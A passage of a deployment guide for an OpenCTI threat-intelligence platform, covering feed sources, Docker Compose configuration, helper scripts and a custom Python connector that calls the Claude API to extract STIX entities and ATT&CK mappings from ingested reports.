• Abuse.ch Feodo Tracker — Connector: use opencti/connector-misp-feed or ingest the Feodo CSV/blocklist feed manually — Data: Botnet C2 IPs — Setup: Free.
• Shodan InternetDB — Connector: opencti/connector-shodan-internetdb — Data: IP enrichment, domains, CPEs, CVEs, tags — Setup: No API key required.
• MISP Default / CIRCL OSINT Feeds — Connector: opencti/connector-misp-feed — Data: STIX/MISP bundles, indicators, observables — Setup: Free.
• CyberCrime-Tracker feed via MISP default feeds — Connector: use opencti/connector-misp-feed rather than a dedicated current connector — Data: C2 panels / freetext indicators — Setup: Free.
• OpenPhish — Connector: no verified current dedicated OpenCTI connector in the main repo; use generic feed ingestion where suitable — Data: Phishing URLs — Setup: Free/community feed options.
• DigitalSide IT-ISAC MISP Feed — Connector: opencti/connector-misp-feed with custom MISP_FEED_URL — Data: IOCs / MISP-format feed — Setup: Free.

4.2 Commercial Feeds (require license/API key)

• MISP — self-hosted — Connector: opencti/connector-misp — Strengths: community sharing, custom events, internal/private CTI exchange. The OpenCTI repo lists both misp and misp-feed; use misp for a live MISP instance with API access, and misp-feed for static MISP feed URLs.
• VirusTotal / Google Threat Intelligence — Connector: opencti/connector-virustotal — Strengths: file, URL, domain, and IP enrichment. The connector is under internal-enrichment, not external-import.
• Mandiant Threat Intelligence / Google Threat Intelligence — Connector: opencti/connector-mandiant — Strengths: APT intelligence, actor reporting, malware/campaign context.
• Recorded Future — Connectors: opencti/connector-recordedfuture and opencti/connector-recordedfuture-enrichment — Strengths: risk lists, enrichment, vulnerability/contextual intelligence, dark web and external threat data. Recorded Future documentation describes the OpenCTI integration as two components: an enrichment connector and a Recorded Future connector.
• CrowdStrike Falcon Intelligence — Connector: opencti/connector-crowdstrike — Strengths: actor tracking, indicators, adversary intelligence, Falcon ecosystem context.
• Sekoia.io Intelligence — Connector: opencti/connector-sekoia — Strengths: European threat landscape, CTI feed ingestion, actor/campaign context. Sekoia’s own documentation points to the OpenCTI GitHub connector path.
• ThreatConnect — Connector: no verified current dedicated connector in the main OpenCTI connector tree — Strengths: enterprise TI management, source aggregation, workflow and case management. I found an OpenCTI GitHub label/feature reference for “threat connect,” but not a confirmed current connector folder equivalent to external-import/threatconnect.
• Intel 471 — Connectors: opencti/connector-intel471, opencti/connector-intel471-darknet, and opencti/connector-intel471_v2 — Strengths: underground forums, cybercrime actors, malware, infrastructure, dark web intelligence.

4.3 ISAC / Government Feeds

• CISA Automated Indicator Sharing / AIS — Method: TAXII/STIX client, AIS 2.0 uses TAXII 2.1 — Access: free service for eligible participants; contact CISA to onboard.
• FS-ISAC — Method: STIX/TAXII and MISP automated feeds — Access: financial-sector membership; automated-feed credentials/licensing must be explicitly requested.
• Health-ISAC / H-ISAC — Method: HITS indicator-sharing feed; STIX/TAXII-compatible threat intelligence sharing — Access: healthcare-sector membership / Health-ISAC member access.
• NATO MISP Community — Method: MISP community / MISP sync — Access: official government cyber-defense entities from NATO nations, sponsored by their national representative in the NATO Multinational MISP Steering Board.
• ENISA Threat Landscape — Method: public reports and CTI publications; not a confirmed public TAXII/STIX feed. ENISA’s CTL methodology references STIX 2.1 as a common CTI representation format, but this is different from offering a public feed endpoint.

4.4 Feed Priority and TLP Assignment

# Recommended TLP assignment by source
feeds:
  - source: mitre_attack
    tlp: WHITE          # public, shareable
    confidence: 90
  - source: alienvault_otx
    tlp: GREEN          # community sharing
    confidence: 60
  - source: mandiant
    tlp: AMBER          # restricted to org
    confidence: 85
  - source: internal_soc
    tlp: RED            # internal only
    confidence: 95

5. AI Integration Layer

This is the “AI-driven” layer on top of standard OpenCTI — a custom connector and MCP server that adds:

5.1 AI Enrichment Connector (Claude API)

• On every new Report, Malware, or Threat-Actor ingested → call Claude API
• Extract structured STIX entities from unstructured text (PDFs, blog posts)
• Summarize long reports into 3-sentence executive briefs
• Score indicator relevance against your organization’s sector profile
• Suggest ATT&CK technique mappings from narrative descriptions

5.2 AI Pipeline Architecture

New Report ingested
        │
        ▼
[AI Enrichment Connector]
        │
        ├─► Claude API: Extract entities → creates STIX SDOs
        ├─► Claude API: Map to ATT&CK techniques
        ├─► Claude API: Generate executive summary
        └─► Claude API: Score severity for your sector
                │
                ▼
        Update Report in OpenCTI
        (summary, related entities, confidence scores)

6. Prerequisites

6.1 Hardware (minimum production)

6.2 Software

# Install Docker Engine (Ubuntu 22.04)
sudo apt-get update
sudo apt-get install -y ca-certificates curl gnupg lsb-release
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
  sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \
  https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin
# Add user to docker group
sudo usermod -aG docker $USER
newgrp docker
# Verify
docker compose version

6.3 System Tuning (required for ElasticSearch)

# ElasticSearch requires high vm.max_map_count
sudo sysctl -w vm.max_map_count=1048575
echo "vm.max_map_count=1048575" | sudo tee -a /etc/sysctl.conf

# Increase file descriptor limits
echo "* soft nofile 65536" | sudo tee -a /etc/security/limits.conf
echo "* hard nofile 65536" | sudo tee -a /etc/security/limits.conf

7. Docker Compose Deployment

7.0 Deploy from GitHub (recommended)

The fastest deployment path is to clone the maintained project repository and create a local `.env` from the sanitized template:

cd /home/andrey
git clone https://github.com/anpa1200/opencti-intelligent-shield.git openCTI
cd /home/andrey/openCTI
# Create local secrets/config. This file is ignored by Git.
cp .env.example .env
nano .env
# Start the full stack after filling in .env
./scripts/start-all.sh

This gives you the Docker Compose files, OpenCTI patches, AI enrichment connector, helper scripts, and Docusaurus documentation in one checkout. Use the manual sections below if you want to recreate the files by hand or compare the generated content.

7.1 Directory Structure

/home/andrey/openCTI/
├── .env                          # secrets and config
├── docker-compose.yml            # core stack
├── docker-compose.connectors.yml # feed connectors
├── docker-compose.ai.yml         # AI enrichment connector
├── patches/
│   └── back.js                   # ILM race condition fix (ES 8.13 + OpenCTI 6.2.0)
└── connectors/
    └── ai-enrichment/            # custom AI connector source

7.2 Environment File

cat > /home/andrey/openCTI/.env << 'EOF'
# === Core ===
OPENCTI_ADMIN_EMAIL=admin@opencti.local
OPENCTI_ADMIN_PASSWORD=CHANGE_ME_STRONG_PASSWORD
OPENCTI_ADMIN_TOKEN=CHANGE_ME_UUID4_TOKEN
OPENCTI_BASE_URL=http://localhost:8080

# === Secrets ===
APP__ADMIN__TOKEN=CHANGE_ME_UUID4_TOKEN
APP__SECRET_KEY=CHANGE_ME_SECRET

# === ElasticSearch ===
# NOTE: key is ELASTIC_PASSWORD, not ELASTIC_AUTH
ELASTIC_PASSWORD=CHANGE_ME_ELASTIC_PASS

# === Redis ===
REDIS_PASSWORD=opencti

# === MinIO ===
MINIO_ROOT_USER=opencti
MINIO_ROOT_PASSWORD=CHANGE_ME_MINIO_PASS

# === RabbitMQ ===
RABBITMQ_DEFAULT_USER=opencti
RABBITMQ_DEFAULT_PASS=CHANGE_ME_RABBITMQ_PASS

# === Connector IDs (unique UUID4 per connector — NOT used for auth) ===
CONNECTOR_MITRE_TOKEN=CHANGE_ME_UUID4
CONNECTOR_CVE_TOKEN=CHANGE_ME_UUID4
CONNECTOR_ALIENVAULT_TOKEN=CHANGE_ME_UUID4
CONNECTOR_ABUSE_SSL_TOKEN=CHANGE_ME_UUID4
CONNECTOR_URLHAUS_TOKEN=CHANGE_ME_UUID4
CONNECTOR_AI_ENRICHMENT_TOKEN=CHANGE_ME_UUID4

# === External API keys ===
ALIENVAULT_API_KEY=your_otx_key_here
NVD_API_KEY=your_nvd_api_key_here     # UUID format from nvd.nist.gov/developers/request-an-api-key
ANTHROPIC_API_KEY=your_claude_api_key_here
EOF

# Generate unique UUIDs for connector IDs
python3 -c "import uuid; [print(uuid.uuid4()) for _ in range(8)]"# Generate proper tokens
python3 -c "import uuid; [print(f'Token: {uuid.uuid4()}') for _ in range(10)]"

7.3 Core Stack — docker-compose.yml

nano docker-compose.yml

version: "3"
services:
  redis:
    image: redis:7.2
    restart: always
    volumes:
      - redisdata:/data
    command: redis-server --requirepass ${REDIS_PASSWORD:-opencti}
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:8.13.0
    volumes:
      - esdata:/usr/share/elasticsearch/data
    environment:
      - discovery.type=single-node
      - xpack.ml.enabled=false
      - xpack.security.enabled=true
      - ELASTIC_PASSWORD=${ELASTIC_PASSWORD:-CHANGE_ME}
      - "ES_JAVA_OPTS=-Xms2g -Xmx2g"
      - cluster.routing.allocation.disk.threshold_enabled=false
    ulimits:
      memlock:
        soft: -1
        hard: -1
    restart: always
  minio:
    image: minio/minio:RELEASE.2024-01-16T16-07-38Z
    volumes:
      - miniodata:/data
    ports:
      - "9001:9001"   # console
    environment:
      MINIO_ROOT_USER: ${MINIO_ROOT_USER:-opencti}
      MINIO_ROOT_PASSWORD: ${MINIO_ROOT_PASSWORD:-CHANGE_ME}
    command: server /data --console-address ":9001"
    restart: always
  rabbitmq:
    image: rabbitmq:3.13-management
    environment:
      RABBITMQ_DEFAULT_USER: ${RABBITMQ_DEFAULT_USER:-opencti}
      RABBITMQ_DEFAULT_PASS: ${RABBITMQ_DEFAULT_PASS:-CHANGE_ME}
      RABBITMQ_NODENAME: rabbit01@localhost
    volumes:
      - rabbitmqdata:/var/lib/rabbitmq
    restart: always
  opencti:
    image: opencti/platform:6.2.0
    environment:
      NODE_OPTIONS: --max-old-space-size=8096
      APP__PORT: 8080
      APP__BASE_URL: ${OPENCTI_BASE_URL:-http://localhost:8080}
      APP__ADMIN__EMAIL: ${OPENCTI_ADMIN_EMAIL}
      APP__ADMIN__PASSWORD: ${OPENCTI_ADMIN_PASSWORD}
      APP__ADMIN__TOKEN: ${OPENCTI_ADMIN_TOKEN}
      APP__APP_LOGS__LOGS_LEVEL: error
      REDIS__HOSTNAME: redis
      REDIS__PORT: 6379
      REDIS__USE_SSL: "false"
      REDIS__PASSWORD: ${REDIS_PASSWORD:-opencti}
      ELASTICSEARCH__URL: http://elasticsearch:9200
      ELASTICSEARCH__USERNAME: elastic
      ELASTICSEARCH__PASSWORD: ${ELASTIC_PASSWORD:-CHANGE_ME}
      MINIO__ENDPOINT: minio
      MINIO__PORT: 9000
      MINIO__USE_SSL: "false"
      MINIO__ACCESS_KEY: ${MINIO_ROOT_USER:-opencti}
      MINIO__SECRET_KEY: ${MINIO_ROOT_PASSWORD:-CHANGE_ME}
      RABBITMQ__HOSTNAME: rabbitmq
      RABBITMQ__PORT: 5672
      RABBITMQ__USERNAME: ${RABBITMQ_DEFAULT_USER:-opencti}
      RABBITMQ__PASSWORD: ${RABBITMQ_DEFAULT_PASS:-CHANGE_ME}
      SMTP__HOSTNAME: localhost
      PROVIDERS__LOCAL__STRATEGY: LocalStrategy
    volumes:
      - ./patches/back.js:/opt/opencti/build/back.js:ro
    ports:
      - "8080:8080"
    depends_on:
      - redis
      - elasticsearch
      - minio
      - rabbitmq
    restart: always
  worker:
    image: opencti/worker:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      WORKER_LOG_LEVEL: error
    depends_on:
      - opencti
    deploy:
      mode: replicated
      replicas: 3
    restart: always
volumes:
  esdata:
  redisdata:
  miniodata:
  rabbitmqdata:
networks:
  default:
    name: opencti_network
    external: true

7.4 Connectors — docker-compose.connectors.yml

nano docker-compose.connectors.yml

version: "3"
services:
  # MITRE ATT&CK (no API key needed)
  connector-mitre:
    image: opencti/connector-mitre:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_MITRE_TOKEN}
      CONNECTOR_NAME: "MITRE ATT&CK"
      CONNECTOR_SCOPE: "marking-definition,identity,attack-pattern,course-of-action,intrusion-set,campaign,malware,tool,vulnerability,x-mitre-matrix,x-mitre-tactic,x-mitre-collection"
      CONNECTOR_CONFIDENCE_LEVEL: 75
      CONNECTOR_UPDATE_EXISTING_DATA: "true"
      CONNECTOR_LOG_LEVEL: error
      MITRE_REMOVE_STATEMENT_MARKING: "true"
      MITRE_INTERVAL: 7  # days between full refresh
    restart: always
  # CVE / NVD Vulnerabilities
  connector-cve:
    image: opencti/connector-cve:6.2.0
    volumes:
      - ./patches/cve/api.py:/opt/opencti-connector-cve/services/client/api.py:ro
      - ./patches/cve/vulnerability.py:/opt/opencti-connector-cve/services/client/vulnerability.py:ro
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_CVE_TOKEN}
      CONNECTOR_NAME: "Common Vulnerabilities and Exposures"
      CONNECTOR_SCOPE: "identity,vulnerability"
      CONNECTOR_CONFIDENCE_LEVEL: 75
      CONNECTOR_LOG_LEVEL: info
      CONNECTOR_UPDATE_EXISTING_DATA: "true"
      CVE_BASE_URL: "https://services.nvd.nist.gov/rest/json/cves"
      CVE_API_KEY: ${NVD_API_KEY}
      CVE_MAX_DATE_RANGE: 120
      CVE_MAINTAIN_DATA: "true"
      CVE_INTERVAL: 2
    restart: always
  # AlienVault OTX
  connector-alienvault:
    image: opencti/connector-alienvault:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_ALIENVAULT_TOKEN}
      CONNECTOR_NAME: "AlienVault OTX"
      CONNECTOR_SCOPE: "stix-core-object"
      CONNECTOR_CONFIDENCE_LEVEL: 40
      CONNECTOR_LOG_LEVEL: error
      ALIENVAULT_BASE_URL: "https://otx.alienvault.com"
      ALIENVAULT_API_KEY: ${ALIENVAULT_API_KEY}
      ALIENVAULT_TLP: "White"
      ALIENVAULT_CREATE_OBSERVABLES: "true"
      ALIENVAULT_CREATE_INDICATORS: "true"
      ALIENVAULT_PULSE_START_TIMESTAMP: "2020-01-01T00:00:00"
      ALIENVAULT_REPORT_STATUS: "New"
      ALIENVAULT_REPORT_TYPE: "threat-report"
      ALIENVAULT_GUESS_MALWARE: "false"
      ALIENVAULT_GUESS_CVE: "false"
      ALIENVAULT_INTERVAL: 30   # minutes
    restart: always
  # Abuse.ch SSL Blacklist
  connector-abuse-ssl:
    image: opencti/connector-abuse-ssl:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_MALWAREBAZAAR_TOKEN}
      CONNECTOR_NAME: "Abuse.ch SSL Blacklist"
      CONNECTOR_SCOPE: "stix-core-object"
      CONNECTOR_CONFIDENCE_LEVEL: 50
      CONNECTOR_LOG_LEVEL: error
      ABUSE_SSL_URL: "https://sslbl.abuse.ch/blacklist/sslblacklist.csv"
      ABUSE_SSL_INTERVAL: 30  # minutes
    restart: always
  # Abuse.ch URLhaus
  connector-urlhaus:
    image: opencti/connector-urlhaus:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_URLHAUS_TOKEN}
      CONNECTOR_NAME: "Abuse.ch URLhaus"
      CONNECTOR_SCOPE: "stix-core-object"
      CONNECTOR_CONFIDENCE_LEVEL: 40
      CONNECTOR_LOG_LEVEL: error
      URLHAUS_CSV_URL: "https://urlhaus.abuse.ch/downloads/csv_recent/"
      URLHAUS_IMPORT_OFFLINE: "true"
      URLHAUS_INTERVAL: 2  # hours
    restart: always
  connector-threatfox:
    image: opencti/connector-threatfox:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_THREATFOX_TOKEN}
      CONNECTOR_NAME: "ThreatFox"
      CONNECTOR_SCOPE: "stix-core-object"
      CONNECTOR_CONFIDENCE_LEVEL: 40
      CONNECTOR_LOG_LEVEL: error
      THREATFOX_API_URL: "https://threatfox-api.abuse.ch/api/v1/"
      THREATFOX_CREATE_INDICATORS: "true"
      THREATFOX_CREATE_OBSERVABLES: "true"
      THREATFOX_INTERVAL: 3
    restart: always
  connector-import-document:
    image: opencti/connector-import-document:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_IMPORT_DOCUMENT_TOKEN}
      CONNECTOR_NAME: "ImportDocument"
      CONNECTOR_SCOPE: "application/pdf,text/plain,text/html"
      CONNECTOR_AUTO: "true"
      CONNECTOR_CONFIDENCE_LEVEL: 75
      CONNECTOR_LOG_LEVEL: error
    restart: always
networks:
  default:
    name: opencti_network
    external: true

7.5 AI Enrichment Connector — docker-compose.ai.yml

nano docker-compose.ai.yml

version: "3"

services:
  connector-ai-enrichment:
    build:
      context: ./connectors/ai-enrichment
      dockerfile: Dockerfile
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_AI_ENRICHMENT_TOKEN}
      CONNECTOR_NAME: "AI Enrichment (Claude)"
      CONNECTOR_LOG_LEVEL: info
      ANTHROPIC_API_KEY: ${ANTHROPIC_API_KEY}
      AI_MODEL: claude-opus-4-7
      AI_ENRICHMENT_REPORTS: "true"
      AI_ENRICHMENT_MALWARE: "true"
      AI_ENRICHMENT_THREAT_ACTORS: "true"
    restart: always

networks:
  default:
    name: opencti_network
    external: true

8. Connector Configuration

Fast Start / Stop Scripts

The repository includes two helper scripts for daily operations:

# Start core OpenCTI, wait for the UI/API, then start connectors and AI enrichment
./scripts/start-all.sh
# Stop AI enrichment, connectors, and core OpenCTI while preserving Docker volumes
./scripts/stop-all.sh

Use these scripts for normal start/stop operations after .env is configured. Use the manual commands below when debugging a specific service startup problem.

nano start-all.sh

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"

WAIT_TIMEOUT="${WAIT_TIMEOUT:-300}"

wait_for_opencti() {
  local deadline=$((SECONDS + WAIT_TIMEOUT))

  echo "[start] Waiting for OpenCTI API on http://localhost:8080..."
  until curl -fsS http://localhost:8080 >/dev/null 2>&1; do
    if (( SECONDS >= deadline )); then
      echo "[start] OpenCTI did not become reachable within ${WAIT_TIMEOUT}s." >&2
      echo "[start] Check logs with: docker compose logs -f opencti" >&2
      return 1
    fi
    sleep 5
  done
}

echo "[start] Starting OpenCTI core stack..."
docker compose -f docker-compose.yml up -d

wait_for_opencti

echo "[start] Starting external connectors..."
docker compose -f docker-compose.connectors.yml up -d

echo "[start] Building and starting AI enrichment connector..."
docker compose -f docker-compose.ai.yml up -d --build

echo "[start] Done."
docker compose -f docker-compose.yml ps

nano stop-all.sh

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"

echo "[stop] Stopping OpenCTI core, connectors, and AI enrichment..."
docker compose \
  -f docker-compose.yml \
  -f docker-compose.connectors.yml \
  -f docker-compose.ai.yml \
  down --remove-orphans

echo "[stop] Done. Volumes are preserved."

8.1 Start the Core Stack

cd /home/andrey/openCTI

# Pre-flight: ElasticSearch refuses allocation above 90% disk usage
df -h /var/lib/docker
# If > 90% full, run: docker system prune -a   (frees ~47 GB of unused images)

# Create the shared Docker network (idempotent — safe to re-run)
docker network create opencti_network 2>/dev/null || true

# Start core services
docker compose -f docker-compose.yml up -d

# Wait for ElasticSearch to be healthy before OpenCTI finishes initializing
until curl -s -u "elastic:${ELASTIC_PASSWORD}" \
  http://localhost:9200/_cluster/health | grep -q '"status":"green"\|"status":"yellow"'; do
  echo "Waiting for ES..."; sleep 5
done

# Watch logs — first-run index creation takes 5-10 minutes
# Look for "Listening on port 8080"
docker compose -f docker-compose.yml logs -f opencti | grep -E "Listening|ERROR|indices"

8.2 Start Connectors

# Start feed connectors (after OpenCTI is healthy)
docker compose -f docker-compose.connectors.yml up -d
# Verify connectors registered (wait ~60s for startup)
docker compose -f docker-compose.connectors.yml ps

8.3 Verify in UI

http://localhost:8080
Login: admin@opencti.local / <your password>Navigation:
  Data → Connectors → check all show status "connected"
  Knowledge → Malwares → should start populating within minutes
  Activities → Logs → watch ingest events

9. AI-Driven Enrichment Pipeline

Overview

The AI enrichment pipeline adds a Claude-powered layer on top of the standard OpenCTI ingestion flow. Every time a connector (AlienVault, MITRE, URLhaus, etc.) writes a new object into OpenCTI, an event is published to RabbitMQ. The AI connector subscribes to that event stream, calls the Claude API with the object’s content, and writes the extracted structured intelligence back into the graph as STIX relationships, notes, and entity updates — all automatically.

Without AI enrichment:

AlienVault pulse → Report object in OpenCTI
                   (raw text, no relationships, no ATT&CK mapping)

With AI enrichment:

AlienVault pulse → Report object in OpenCTI
                       ↓ AI connector picks it up from event stream
                   Claude API: extract entities, map techniques, score severity
                       ↓
                   Report now has:
                   ├── Note: executive summary (2-3 sentences)
                   ├── Relationship → ThreatActor (if found in graph)
                   ├── Relationship → Malware (if found in graph)
                   ├── Relationship → AttackPattern T1059.001 (created if missing)
                   └── x_opencti_score updated based on AI confidence

9.1 How the Event Stream Works

OpenCTI uses RabbitMQ as its internal message bus. Every write operation (create, update, delete) on any STIX object publishes a message to a topic exchange. Connectors subscribe to this exchange via pycti's OpenCTIConnectorHelper.listen() method.

OpenCTI platform
      │
      │ write event (STIX bundle)
      ▼
  RabbitMQ
  exchange: amq.topic
      │
      ├──► worker-1 (standard workers — write to ES/graph)
      ├──► worker-2
      ├──► worker-3
      └──► connector-ai-enrichment  ← our connector subscribes here
                  │
                  │ reads event payload:
                  │ {
                  │   "type": "create",
                  │   "data": { "id": "report--uuid", "type": "report", ... }
                  │ }
                  ▼
            calls Claude API
                  ▼
            writes enrichment back via GraphQL API

Each message contains the full STIX object that was just created. The connector processes it and acknowledges the message — if it crashes mid-processing, RabbitMQ redelivers it.

Connector type INTERNAL_ENRICHMENT means:

• It does not import data on a schedule
• It reacts to existing objects as they are created or updated
• It appears in Settings → Connectors → Enrichment in the UI

9.2 Rules Engine (CE Automation)

Note: Playbooks are an Enterprise Edition feature. The Community Edition uses the built-in Rules Engine, which automatically infers and propagates relationships as data arrives.

All 20 rules are enabled. To verify or toggle: Settings → Customization → Rules

To enable all rules via API (already done — included for re-initialization):

RULES="attribution_attribution attribution_targets indicate_sighted attribution_use \
localization_of_targets location_location location_targets participate-to_parts \
observable_related observe_sighting part_part part-of_targets sighting_incident \
sighting_observable sighting_indicator report_ref_identity_part_of \
report_ref_indicator_based_on report_ref_observable_based_on \
report_ref_location_located_at parent_technique_use"
TOKEN=$(grep OPENCTI_ADMIN_TOKEN /home/andrey/openCTI/.env | cut -d= -f2)
for rule in $RULES; do
  curl -s -X POST http://localhost:8080/graphql \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"query\":\"mutation { ruleSetActivation(id: \\\"$rule\\\", enable: true) { id activated } }\"}" \
    | python3 -c "import sys,json; d=json.load(sys.stdin); print('$rule:', d['data']['ruleSetActivation']['activated'])"
done

What these rules do automatically once data arrives:

RuleEffectattribution_attributionIf APT-X is attributed to Country-A, and APT-Y is a sub-group of APT-X → APT-Y also attributed to Country-Asighting_incidentIf an indicator is sighted, automatically raise an Incidentindicate_sightedIf indicator is sighted → infer the targeted entity from the indicator's relationshipreport_ref_indicator_based_onIf a Report references Observable X, and X has an Indicator → auto-link the Indicator to the Reportobservable_relatedIf two objects share a common Observable → infer a related-to relationshipparent_technique_useIf a sub-technique (T1059.001) is used → auto-link parent technique (T1059) as used

For custom event-driven automation in CE, use a pycti script or the AI connector (section 9.1). The pycti library supports streaming the live event feed via helper.listen() — the AI connector in 9.1 uses exactly this pattern.10. Post-Deployment Hardening

9.2 What Claude Extracts and How It Maps to STIX

The connector sends the report’s description text to Claude with a structured prompt. Claude returns JSON. The connector then maps each field to STIX operations:

Claude output fieldSTIX actionsummaryCreates a Note object attached to the report (object_refs)threat_actors[]Looks up ThreatActor by name in graph → creates related-to relationship to reportmalware_families[]Looks up Malware by name → creates related-to relationship to reportattack_techniques[]Looks up AttackPattern by external_id (T1059.001) → creates uses relationship to reporttargeted_sectors[]Looks up Identity (sector) → creates targets relationshiptargeted_countries[]Looks up Location by ISO code → creates targets relationshipconfidenceSets x_opencti_score on the report (0–100)

Why look up instead of creating? MITRE ATT&CK and identity data is already loaded by the MITRE connector. Looking up prevents duplicates. Only AttackPattern objects are created if missing (since Claude may identify techniques not yet in the graph).

9.3 Connector Code

mkdir -p /home/andrey/openCTI/connectors/ai-enrichment

connectors/ai-enrichment/connector.py

import os
import json
import time
import anthropic
from pycti import OpenCTIConnectorHelper

SYSTEM_PROMPT = """You are a senior cyber threat intelligence analyst.
Analyze threat intelligence content and return structured JSON only.
No prose, no markdown fences, no explanation — raw JSON."""

REPORT_PROMPT = """Analyze this threat intelligence report. Return JSON with exactly these keys:
- summary: string (2-3 sentence executive brief, plain text)
- threat_actors: list of strings (actor names, aliases, groups mentioned)
- malware_families: list of strings (malware/tool names)
- attack_techniques: list of strings (MITRE ATT&CK IDs only, e.g. ["T1059.001", "T1003"])
- targeted_sectors: list of strings (e.g. ["Finance", "Healthcare", "Government"])
- targeted_countries: list of strings (ISO 3166-1 alpha-2, e.g. ["US", "UA", "DE"])
- confidence: integer 0-100

Report:
{content}"""

INTRUSION_SET_PROMPT = """Analyze this threat actor / intrusion set profile. Return JSON with exactly these keys:
- summary: string (2-3 sentence executive brief)
- aliases: list of strings (other known names)
- malware_families: list of strings (malware/tools this actor uses)
- attack_techniques: list of strings (MITRE ATT&CK IDs, e.g. ["T1059.001", "T1003"])
- targeted_sectors: list of strings (sectors this actor targets)
- targeted_countries: list of strings (ISO 3166-1 alpha-2 codes)
- motivation: string (one of: "espionage", "financial", "hacktivism", "destruction", "unknown")
- sophistication: string (one of: "minimal", "intermediate", "advanced", "expert", "unknown")
- confidence: integer 0-100

Profile:
{content}"""


class AIEnrichmentConnector:
    def __init__(self):
        config = {
            "opencti": {
                "url": os.environ.get("OPENCTI_URL", "http://opencti:8080"),
                "token": os.environ["OPENCTI_TOKEN"],
            },
            "connector": {
                "id": os.environ["CONNECTOR_ID"],
                "type": "INTERNAL_ENRICHMENT",
                "name": os.environ.get("CONNECTOR_NAME", "AI Enrichment (Claude)"),
                "scope": "Report,Intrusion-Set,Threat-Actor-Group,Malware",
                "log_level": os.environ.get("CONNECTOR_LOG_LEVEL", "info"),
                "auto": False,
            },
        }
        self.helper = OpenCTIConnectorHelper(config)
        self.client = anthropic.Anthropic(api_key=os.environ["ANTHROPIC_API_KEY"])
        self.model = os.environ.get("AI_MODEL", "claude-opus-4-7")

    # -------------------------------------------------------------------------
    # Claude call with retry on rate limit
    # -------------------------------------------------------------------------

    def _call_claude(self, prompt_template: str, content: str) -> dict | None:
        for attempt in range(3):
            try:
                msg = self.client.messages.create(
                    model=self.model,
                    max_tokens=2048,
                    system=SYSTEM_PROMPT,
                    messages=[{"role": "user", "content": prompt_template.format(content=content[:8000])}],
                )
                return json.loads(msg.content[0].text)
            except anthropic.RateLimitError:
                wait = 60 * (attempt + 1)
                self.helper.log_warning(f"Rate limited — waiting {wait}s")
                time.sleep(wait)
            except (json.JSONDecodeError, anthropic.APIError) as e:
                self.helper.log_error(f"Claude call failed: {e}")
                return None
        return None

    # -------------------------------------------------------------------------
    # STIX write-back helpers
    # -------------------------------------------------------------------------

    def _add_note(self, entity_id: str, summary: str, confidence: int) -> None:
        self.helper.api.note.create(
            abstract="AI Summary",
            content=summary,
            confidence=confidence,
            object_ids=[entity_id],
        )

    def _link_threat_actors(self, entity_id: str, names: list, confidence: int) -> None:
        for name in names:
            actor = self.helper.api.threat_actor_group.read(
                filters={"mode": "and", "filters": [{"key": "name", "values": [name]}], "filterGroups": []}
            )
            if actor:
                self.helper.api.stix_core_relationship.create(
                    fromId=entity_id,
                    toId=actor["id"],
                    relationship_type="related-to",
                    confidence=confidence,
                )

    def _link_malware(self, entity_id: str, names: list, confidence: int) -> None:
        for name in names:
            malware = self.helper.api.malware.read(
                filters={"mode": "and", "filters": [{"key": "name", "values": [name]}], "filterGroups": []}
            )
            if malware:
                self.helper.api.stix_core_relationship.create(
                    fromId=entity_id,
                    toId=malware["id"],
                    relationship_type="uses",
                    confidence=confidence,
                )

    def _link_attack_patterns(self, entity_id: str, technique_ids: list, confidence: int) -> None:
        for tid in technique_ids:
            pattern = self.helper.api.attack_pattern.read(
                filters={"mode": "and", "filters": [{"key": "x_mitre_id", "values": [tid]}], "filterGroups": []}
            )
            if not pattern:
                pattern = self.helper.api.attack_pattern.create(
                    name=tid,
                    x_mitre_id=tid,
                    confidence=50,
                )
            if pattern:
                self.helper.api.stix_core_relationship.create(
                    fromId=entity_id,
                    toId=pattern["id"],
                    relationship_type="uses",
                    confidence=confidence,
                )

    def _update_score(self, entity_id: str, confidence: int) -> None:
        self.helper.api.stix_domain_object.update_field(
            id=entity_id,
            input={"key": "x_opencti_score", "value": str(confidence)},
        )

    # -------------------------------------------------------------------------
    # Enrichment handlers per entity type
    # -------------------------------------------------------------------------

    def _enrich_report(self, report: dict) -> str:
        content = report.get("description") or ""
        if len(content) < 50:
            content = report.get("name", "")
        if not content or len(content) < 10:
